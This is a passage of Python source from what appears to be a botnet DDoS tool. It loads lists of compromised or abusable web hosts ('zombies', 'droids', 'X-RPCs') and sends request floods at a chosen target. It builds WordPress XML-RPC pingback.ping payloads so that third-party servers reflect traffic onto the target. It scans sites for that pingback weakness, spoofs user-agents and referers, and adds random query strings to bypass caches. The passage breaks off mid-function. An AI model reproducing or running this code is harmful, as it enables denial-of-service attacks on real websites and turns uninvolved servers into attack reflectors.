  3360. if not self.options.disablepurge:
  3361. for droid in droids:
  3362. if not droid.startswith('http'): # discarded inmediately
  3363. self.discard_droids.append(droid)
  3364. self.num_discard_droids = self.num_discard_droids + 1
  3365. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3366. if not self.options.disablepurge:
  3367. if not droids: # return when not any working
  3368. self.options.disabledroids = True
  3369. return
  3370. shuffle(droids) # shuffle droids order, each discarding check :-)
  3371. for droid in droids:
  3372. name_droid = None
  3373. if "$TARGET" in droid: # replace droid/parameter for target
  3374. url = droid.replace("$TARGET", target)
  3375. t = urlparse(url)
  3376. name_droid = t.netloc
  3377. if name_droid == "":
  3378. name_droid = droid
  3379. print("[Info] [Droids] Attacking from: " + name_droid)
  3380. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3381. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3382. try:
  3383. if options.proxy: # set proxy
  3384. self.proxy_transport(options.proxy)
  3385. if self.options.timeout: # set timeout
  3386. try:
  3387. droid_timeout = int(self.options.timeout)
  3388. except:
  3389. droid_timeout = 5
  3390. else:
  3391. droid_timeout = 5
  3392. if droid_timeout < 1:
  3393. droid_timeout = 5
  3394. req = urllib.request.Request(url, None, headers)
  3395. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3396. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3397. except Exception:
  3398. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3399. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3400. if not self.options.disablepurge:
  3401. self.discard_droids.append(droid)
  3402. self.num_discard_droids = self.num_discard_droids + 1
  3403. else:
  3404. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3405. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3406. if not self.options.disablepurge:
  3407. self.discard_droids.append(droid)
  3408. self.num_discard_droids = self.num_discard_droids + 1
  3409. if self.options.verbose:
  3410. if name_droid:
  3411. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3412. else:
  3413. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3414. if self.options.disablerpcs and self.options.disableucavs:
  3415. self.extra_zombies_lock = False # [ARMY] have finished
  3416. def extract_droids(self):
  3417. # extract droids from file
  3418. options = self.options
  3419. try:
  3420. f = open(self.droids_file)
  3421. droids = f.readlines()
  3422. droids = [ droid.replace('\n','') for droid in droids ]
  3423. f.close()
  3424. if not droids:
  3425. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3426. self.options.disabledroids = True
  3427. return
  3428. else:
  3429. return droids
  3430. except:
  3431. if os.path.exists(self.droids_file) == True:
  3432. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3433. return #sys.exit(2)
  3434. else:
  3435. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3436. return #sys.exit(2)
  3437. def discarding_rpcs(self, rpc, rpcs):
  3438. if rpc in self.discard_rpcs:
  3439. rpcs.remove(rpc)
  3440. if self.options.verbose:
  3441. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3442. return rpcs
  3443. def send_rpcs(self, rpcs):
  3444. # extract vulnerable XML-RPC pingback services and perform requests against target
  3445. time.sleep(4) # aiming (multi-threading flow time compensation)
  3446. if not self.options.disablepurge:
  3447. if not rpcs: # return when not any working
  3448. self.options.disablerpcs = True
  3449. return
  3450. target = self.options.target
  3451. options = self.options
  3452. def random_key(length):
  3453. key = ''
  3454. for i in range(length):
  3455. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3456. return key
  3457. shuffle(rpcs) # shuffle rpcs
  3458. if not self.options.disablepurge:
  3459. for rpc in rpcs:
  3460. if not rpc.startswith('http'): # discarded inmediately
  3461. if not self.options.disablepurge:
  3462. self.discard_rpcs.append(rpc)
  3463. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3464. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3465. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3466. if not self.options.disablepurge:
  3467. if not rpcs: # return when not any working
  3468. self.options.disablerpcs = True
  3469. return
  3470. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3471. for rpc in rpcs:
  3472. t = urlparse(rpc)
  3473. name_rpc = t.netloc
  3474. if name_rpc == "":
  3475. name_rpc = rpc
  3476. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3477. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3478. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3479. key = random_key(8) # generate random value page to bypass cache
  3480. rpc_page = "?" + str(key)
  3481. key = random_key(6) # re-generate random value id to bypass cache
  3482. rpc_id = "=" + str(key)
  3483. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3484. if "/xmlrpc.php" in rpc:
  3485. rpc_place = rpc.replace("xmlrpc.php", "")
  3486. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3487. try:
  3488. if options.proxy: # set proxy
  3489. self.proxy_transport(options.proxy)
  3490. if self.options.timeout: # set timeout
  3491. try:
  3492. rpc_timeout = int(self.options.timeout)
  3493. except:
  3494. rpc_timeout = 5
  3495. else:
  3496. rpc_timeout = 5
  3497. if rpc_timeout < 1:
  3498. rpc_timeout = 5
  3499. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3500. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3501. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3502. if self.options.verbose:
  3503. print("[Info] [X-RPCs] Reply:", target_reply)
  3504. except:
  3505. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3506. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3507. if not self.options.disablepurge:
  3508. self.discard_rpcs.append(rpc)
  3509. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3510. else:
  3511. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3512. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3513. if not self.options.disablepurge:
  3514. self.discard_rpcs.append(rpc)
  3515. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3516. if self.options.verbose:
  3517. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3518. if self.options.disableucavs:
  3519. self.extra_zombies_lock = False # [ARMY] have finished
  3520. def extract_rpcs(self):
  3521. # extract rpcs from file
  3522. options = self.options
  3523. try:
  3524. f = open(self.rpcs_file)
  3525. rpcs = f.readlines()
  3526. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3527. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3528. f.close()
  3529. if not rpcs:
  3530. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3531. self.options.disablerpcs = True
  3532. return
  3533. else:
  3534. return rpcs
  3535. except:
  3536. if os.path.exists(self.rpcs_file) == True:
  3537. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3538. return
  3539. else:
  3540. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3541. return
  3542. def extract_ntps(self):
  3543. # extract ntps from file
  3544. options = self.options
  3545. try:
  3546. f = open(self.ntps_file)
  3547. ntps = f.readlines()
  3548. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3549. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3550. f.close()
  3551. if not ntps:
  3552. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3553. return
  3554. else:
  3555. return ntps
  3556. except:
  3557. if os.path.exists(self.ntps_file) == True:
  3558. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3559. return
  3560. else:
  3561. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3562. return
  3563. def extract_dnss(self):
  3564. # extract dnss from file
  3565. options = self.options
  3566. try:
  3567. f = open(self.dnss_file)
  3568. dnss = f.readlines()
  3569. dnss = [ dns.replace('\r','') for dns in dnss ]
  3570. dnss = [ dns.replace('\n','') for dns in dnss ]
  3571. f.close()
  3572. if not dnss:
  3573. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3574. return
  3575. else:
  3576. return dnss
  3577. except:
  3578. if os.path.exists(self.dnss_file) == True:
  3579. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3580. return
  3581. else:
  3582. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3583. return
  3584. def extract_zombies(self):
  3585. options = self.options
  3586. if self.options.test:
  3587. try:
  3588. f = open(options.test)
  3589. zombies = f.readlines()
  3590. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3591. f.close()
  3592. if not zombies:
  3593. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3594. return
  3595. else:
  3596. return zombies
  3597. except:
  3598. if os.path.exists(options.test) == True:
  3599. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3600. return #sys.exit(2)
  3601. else:
  3602. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3603. return #sys.exit(2)
  3604. else:
  3605. try:
  3606. f = open(self.zombies_file)
  3607. zombies = f.readlines()
  3608. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3609. f.close()
  3610. if not zombies:
  3611. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3612. return
  3613. else:
  3614. return zombies
  3615. except:
  3616. if os.path.exists(self.zombies_file) == True:
  3617. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3618. return #sys.exit(2)
  3619. else:
  3620. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3621. return #sys.exit(2)
  3622. def extract_target_list(self):
  3623. options = self.options
  3624. try:
  3625. f = open(options.target_list)
  3626. targets = f.readlines()
  3627. targets = [ target.replace('\n','') for target in targets ]
  3628. f.close()
  3629. if not targets:
  3630. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3631. return
  3632. else:
  3633. return targets
  3634. except:
  3635. if os.path.exists(options.target_list) == True:
  3636. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3637. return #sys.exit(2)
  3638. else:
  3639. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3640. return #sys.exit(2)
  3641. def update_zombies(self, zombies_ready):
  3642. # update zombies on file
  3643. options = self.options
  3644. if options.attackme:
  3645. f = open(self.zombies_file, "w") # re-write list
  3646. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3647. for x in zombie:
  3648. f.write(str(x) + os.linesep)
  3649. f.close()
  3650. if options.test or options.testall:
  3651. if not options.test:
  3652. options.test = self.zombies_file
  3653. f = open(options.test, "w") # re-write list only with zombies ready
  3654. for zombie in zombies_ready:
  3655. f.write(zombie + os.linesep)
  3656. f.close()
  3657. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3658. f = open(self.zombies_file)
  3659. zombies_on_file = f.read().splitlines()
  3660. with open(self.zombies_file, "a") as zombie_list:
  3661. for zombie in zombies_ready:
  3662. if zombie not in zombies_on_file: # parse possible repetitions
  3663. zombie_list.write(zombie + os.linesep)
  3664. if options.download or options.download_github:
  3665. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3666. else:
  3667. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3668. f.close()
  3669. def update_aliens(self, aliens_ready):
  3670. # update aliens on file
  3671. options = self.options
  3672. if options.download or options.download_github: # append only new aliens to list
  3673. f = open(self.aliens_file)
  3674. aliens_on_file = f.read().splitlines()
  3675. with open(self.aliens_file, "a") as alien_list:
  3676. for alien in aliens_ready:
  3677. if alien not in aliens_on_file: # parse possible repetitions
  3678. alien_list.write(alien + os.linesep)
  3679. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3680. f.close()
  3681. def update_droids(self, droids_ready):
  3682. # update droids on file
  3683. options = self.options
  3684. if options.download or options.download_github: # append only new droids to list
  3685. f = open(self.droids_file)
  3686. droids_on_file = f.read().splitlines()
  3687. with open(self.droids_file, "a") as droid_list:
  3688. for droid in droids_ready:
  3689. if droid not in droids_on_file: # parse possible repetitions
  3690. droid_list.write(droid + os.linesep)
  3691. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3692. f.close()
  3693. def update_ucavs(self, ucavs_ready):
  3694. # update ucavs on file
  3695. options = self.options
  3696. if options.download or options.download_github: # append only new ucavs to list
  3697. f = open(self.ucavs_file)
  3698. ucavs_on_file = f.read().splitlines()
  3699. with open(self.ucavs_file, "a") as ucav_list:
  3700. for ucav in ucavs_ready:
  3701. if ucav not in ucavs_on_file: # parse possible repetitions
  3702. ucav_list.write(ucav + os.linesep)
  3703. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3704. f.close()
  3705. def update_rpcs(self, rpcs_ready):
  3706. # update rpcs on file
  3707. options = self.options
  3708. if options.testrpc or options.testall:
  3709. f = open(self.rpcs_file, "w") # re-write list
  3710. for rpc in rpcs_ready: # add only rpc verified zombies
  3711. f.write(rpc + os.linesep)
  3712. f.close()
  3713. if options.download or options.download_github: # append only new rpcs to list
  3714. f = open(self.rpcs_file)
  3715. rpcs_on_file = f.read().splitlines()
  3716. with open(self.rpcs_file, "a") as rpc_list:
  3717. for rpc in rpcs_ready:
  3718. if rpc not in rpcs_on_file: # parse possible repetitions
  3719. rpc_list.write(rpc + os.linesep)
  3720. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3721. f.close()
  3722. def update_dnss(self, dnss_ready):
  3723. # update dns on file
  3724. options = self.options
  3725. if options.download or options.download_github: # append only new dns to list
  3726. f = open(self.dnss_file)
  3727. dnss_on_file = f.read().splitlines()
  3728. with open(self.dnss_file, "a") as dns_list:
  3729. for dns in dnss_ready:
  3730. if dns not in dnss_on_file: # parse possible repetitions
  3731. dns_list.write(dns + os.linesep)
  3732. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3733. f.close()
  3734. def update_ntps(self, ntps_ready):
  3735. # update ntps on file
  3736. options = self.options
  3737. if options.download or options.download_github: # append only new ntps to list
  3738. f = open(self.ntps_file)
  3739. ntps_on_file = f.read().splitlines()
  3740. with open(self.ntps_file, "a") as ntp_list:
  3741. for ntp in ntps_ready:
  3742. if ntp not in ntps_on_file: # parse possible repetitions
  3743. ntp_list.write(ntp + os.linesep)
  3744. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3745. f.close()
  3746. def search_rpc(self, rpc_host):
  3747. options = self.options
  3748. rpc_vulnerable = False
  3749. rpc_pingback_url = False
  3750. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3751. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3752. try:
  3753. if self.options.testall: # testing_all
  3754. if options.proxy: # set proxy
  3755. self.proxy_transport(options.proxy)
  3756. req = urllib.request.Request(rpc_host, None, headers)
  3757. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3758. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3759. for link in rpc_links:
  3760. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3761. rpc_pingback_url = link[0]
  3762. rpc_vulnerable = True
  3763. break # found it!
  3764. else: # not any XML-RPC discovering methods are working
  3765. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3766. rpc_vulnerable = False
  3767. else:
  3768. if rpc_host.startswith("http://"):
  3769. rpc_host = rpc_host.replace("http://", "")
  3770. if rpc_host.startswith("https://"):
  3771. rpc_host = rpc_host.replace("https://", "")
  3772. rpc_host = urlparse(rpc_host)
  3773. rpc_path = rpc_host.path.replace("\r", "")
  3774. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3775. reply = self.connect_zombie(rpc_path)
  3776. self.head = False
  3777. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3778. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3779. rpc_pingback_url = m.group(1) # extract rpc server url
  3780. rpc_vulnerable = True
  3781. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3782. if options.proxy: # set proxy
  3783. self.proxy_transport(options.proxy)
  3784. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3785. req_rpc.get_method = lambda : 'GET'
  3786. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3787. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3788. for link in rpc_links:
  3789. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3790. rpc_pingback_url = link[0]
  3791. rpc_vulnerable = True
  3792. break # found it!
  3793. else: # not any XML-RPC discovering methods are working
  3794. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3795. rpc_vulnerable = False
  3796. except: # something wrong discovering XML-RPC Pingback
  3797. pass
  3798. return rpc_vulnerable, rpc_pingback_url
  3799. def testing_offline(self):
  3800. # check for zombies offline
  3801. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3802. print('='*35)
  3803. zombies_online = 0
  3804. zombies_offline = 0
  3805. zombies = self.extract_zombies()
  3806. rpcs = self.extract_rpcs()
  3807. aliens = self.extract_aliens()
  3808. droids = self.extract_droids()
  3809. ucavs = self.extract_ucavs()
  3810. try:
  3811. botnet = zombies + rpcs + aliens + droids + ucavs
  3812. except:
  3813. return
  3814. discarded = [] # for discarded zombies
  3815. if not botnet:
  3816. return
  3817. self.head = True
  3818. for zombie in botnet:
  3819. zombie = str(zombie)
  3820. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3821. zombie_type = 'Zombie'
  3822. elif zombie in rpcs:
  3823. zombie_type = 'XML-RPC'
  3824. elif zombie in aliens:
  3825. zombie_type = 'Alien'
  3826. elif zombie in droids:
  3827. zombie_type = 'Droid'
  3828. elif zombie in ucavs:
  3829. zombie_type = 'UCAV'
  3830. t = urlparse(zombie)
  3831. name_zombie = t.netloc
  3832. if name_zombie == "":
  3833. name_zombie = zombie
  3834. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3835. sep = ';$POST;'
  3836. zombie = zombie.split(sep, 1)[0]
  3837. try:
  3838. reply = str(self.connect_zombie(zombie))
  3839. except:
  3840. reply = None
  3841. if reply:
  3842. if reply == "200" or reply == "301" or reply == "302":
  3843. status = "ONLINE! -> [OK!]"
  3844. else:
  3845. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3846. zombies_online = zombies_online + 1
  3847. else:
  3848. status = "NOT Working!"
  3849. zombies_offline = zombies_offline + 1
  3850. print("\nName:", name_zombie)
  3851. print("Type: [", zombie_type, "]")
  3852. print("Vector:", zombie)
  3853. print("HTTP Code: [", reply, "]")
  3854. print("STATUS:", status)
  3855. print('-'*21)
  3856. if status == "NOT Working!": # add to discarded zombies
  3857. if zombie not in discarded:
  3858. discarded.append(zombie)
  3859. print("\n" + '='*52)
  3860. print("\n+ Total Botnet:", len(botnet))
  3861. print("\n" + '-'*25 + "\n")
  3862. print(" - ONLINE:", zombies_online)
  3863. print(" - OFFLINE:", zombies_offline, "\n")
  3864. print('='*52 + '\n')
  3865. self.head = False
  3866. if zombies_offline > 0:
  3867. if not self.options.forceyes:
  3868. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3869. print('-'*25 + "\n")
  3870. else:
  3871. test_reply = "Y"
  3872. if test_reply == "n" or test_reply == "N":
  3873. print("[AI] "+self.exit_msg+"\n")
  3874. return
  3875. else:
  3876. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3877. print('='*52)
  3878. print("\n - DISCARDED:", disc_zombies)
  3879. new_botnet = int(len(botnet) - disc_zombies)
  3880. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3881. print('='*52 + '\n')
  3882. else:
  3883. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3884. def send_extra_zombies(self):
  3885. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3886. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3887. if self.options.verbose:
  3888. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3889. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3890. for a in aliens:
  3891. if a is None:
  3892. self.options.disablealiens = True
  3893. self.total_aliens = 0 # not any alien invoked
  3894. else:
  3895. for s in a: # extract number of aliens
  3896. self.total_aliens = self.total_aliens + 1
  3897. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3898. al.start()
  3899. else:
  3900. self.options.disablealiens = True
  3901. self.total_aliens = 0 # not any alien invoked
  3902. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3903. if self.options.verbose:
  3904. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3905. droids = [self.extract_droids()] # extract droids from file to a list
  3906. for d in droids:
  3907. if d is None:
  3908. self.options.disabledroids = True
  3909. self.total_droids = 0 # not any droid invoked
  3910. else:
  3911. for s in d: # extract number of droids
  3912. self.total_droids = self.total_droids + 1
  3913. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3914. dr.start()
  3915. else:
  3916. self.options.disabledroids = True
  3917. self.total_droids = 0 # not any droid invoked
  3918. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3919. if self.options.verbose:
  3920. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3921. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3922. for r in rpcs:
  3923. if r is None:
  3924. self.options.disablerpcs = True
  3925. self.total_rpcs = 0 # not any rpc invoked
  3926. else:
  3927. for s in r: # extract number of rpcs
  3928. self.total_rpcs = self.total_rpcs + 1
  3929. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3930. rp.start()
  3931. else:
  3932. self.options.disablerpcs = True
  3933. self.total_rpcs = 0 # not any rpcs invoked
  3934. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3935. if self.options.verbose:
  3936. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3937. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3938. for u in ucavs:
  3939. if u is None:
  3940. self.options.disableucavs = True
  3941. self.total_ucavs = 0 # not any ucav invoked
  3942. else:
  3943. for s in u: # extract number of ucavs
  3944. self.total_ucavs = self.total_ucavs + 1
  3945. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3946. uc.start()
  3947. else:
  3948. self.options.disableucavs = True
  3949. self.total_ucavs = 0 # not any ucavs invoked
  3950. def abandoning_zombies(self):
  3951. if self.options.expire: # set timing for purge
  3952. try:
  3953. timing = int(self.options.expire)
  3954. except:
  3955. timing = self.expire_timing # default timing for purge
  3956. else:
  3957. timing = self.expire_timing # default timing for purge
  3958. if timing < 1:
  3959. timing = self.expire_timing # default timing for purge
  3960. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3961. zombies_lock = 0
  3962. if self.options.verbose:
  3963. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3964. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3965. zombies_lock = zombies_lock + 1
  3966. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3967. if self.options.verbose:
  3968. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3969. break
  3970. else:
  3971. time.sleep(1)
  3972. def discard_zombies(self, discarded):
  3973. disc_zombies = 0
  3974. if self.options.testoffline:
  3975. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3976. else:
  3977. zombies_list = [self.zombies_file]
  3978. if not self.options.disablealiens: # add aliens
  3979. zombies_list.append(self.aliens_file)
  3980. if not self.options.disabledroids: # add droids
  3981. zombies_list.append(self.droids_file)
  3982. if not self.options.disablerpcs: # add rpcs
  3983. zombies_list.append(self.rpcs_file)
  3984. if not self.options.disableucavs: # add ucavs
  3985. zombies_list.append(self.ucavs_file)
  3986. for l in zombies_list:
  3987. f = open(l, "r+")
  3988. d = f.readlines()
  3989. f.close()
  3990. f = open(l, "w")
  3991. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3992. f.close()
  3993. return disc_zombies
  3994. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3995. m = []
  3996. for zombie in d:
  3997. if zombie not in discarded == True:
  3998. m.append(zombie) # save it
  3999. else:
  4000. disc_zombies = disc_zombies + 1
  4001. if not m:
  4002. f.write("")
  4003. else:
  4004. for z in m:
  4005. f.write(z+os.linesep)
  4006. return disc_zombies
  4007. def parse_url_encoding(self, target):
  4008. t = urlparse(target)
  4009. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4010. path = urllib.parse.quote(t.path.encode('utf-8'))
  4011. query = urllib.parse.quote(t.query.encode('utf-8'))
  4012. if query:
  4013. if path.endswith(""):
  4014. path.replace("", "/")
  4015. query = urllib.parse.quote(t.query.encode('utf-8'))
  4016. target = t.scheme+"://"+host + path + "?" + query
  4017. else:
  4018. target = t.scheme+"://"+host + path
  4019. return target
  4020. def testing_rpcs(self, rpcs):
  4021. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4022. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4023. options = self.options
  4024. if self.options.testall: #testing_all
  4025. print('='*51)
  4026. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4027. print('='*51)
  4028. num_active_rpcs = 0
  4029. num_failed_rpcs = 0
  4030. rpcs_ready = []
  4031. print("Trying:", len(rpcs))
  4032. print('-'*21)
  4033. for rpc in rpcs:
  4034. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4035. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4036. if rpc.startswith("http://") or rpc.startswith("https://"):
  4037. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4038. rpc_host = rpc.replace("/xmlrpc.php", "")
  4039. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4040. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4041. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4042. try:
  4043. if options.proxy: # set proxy
  4044. self.proxy_transport(options.proxy)
  4045. try:
  4046. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4047. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4048. except:
  4049. if DEBUG == True:
  4050. traceback.print_exc()
  4051. if self.options.verbose:
  4052. print("[Info] [X-RPCs] Reply:", target_reply)
  4053. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4054. print("[Info] [AI] -> [VULNERABLE!]")
  4055. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4056. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4057. else:
  4058. print("[Info] [AI] -> [NOT vulnerable...]")
  4059. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4060. except:
  4061. print("[Info] [AI] -> [NOT vulnerable...]")
  4062. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4063. else:
  4064. print("[Info] [AI] -> [NOT vulnerable...]")
  4065. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4066. print('-'*21)
  4067. print('='*18)
  4068. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4069. print('='*18)
  4070. if self.options.testall: # testing_all
  4071. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4072. else:
  4073. # update 'rpcs' list
  4074. if num_active_rpcs == 0:
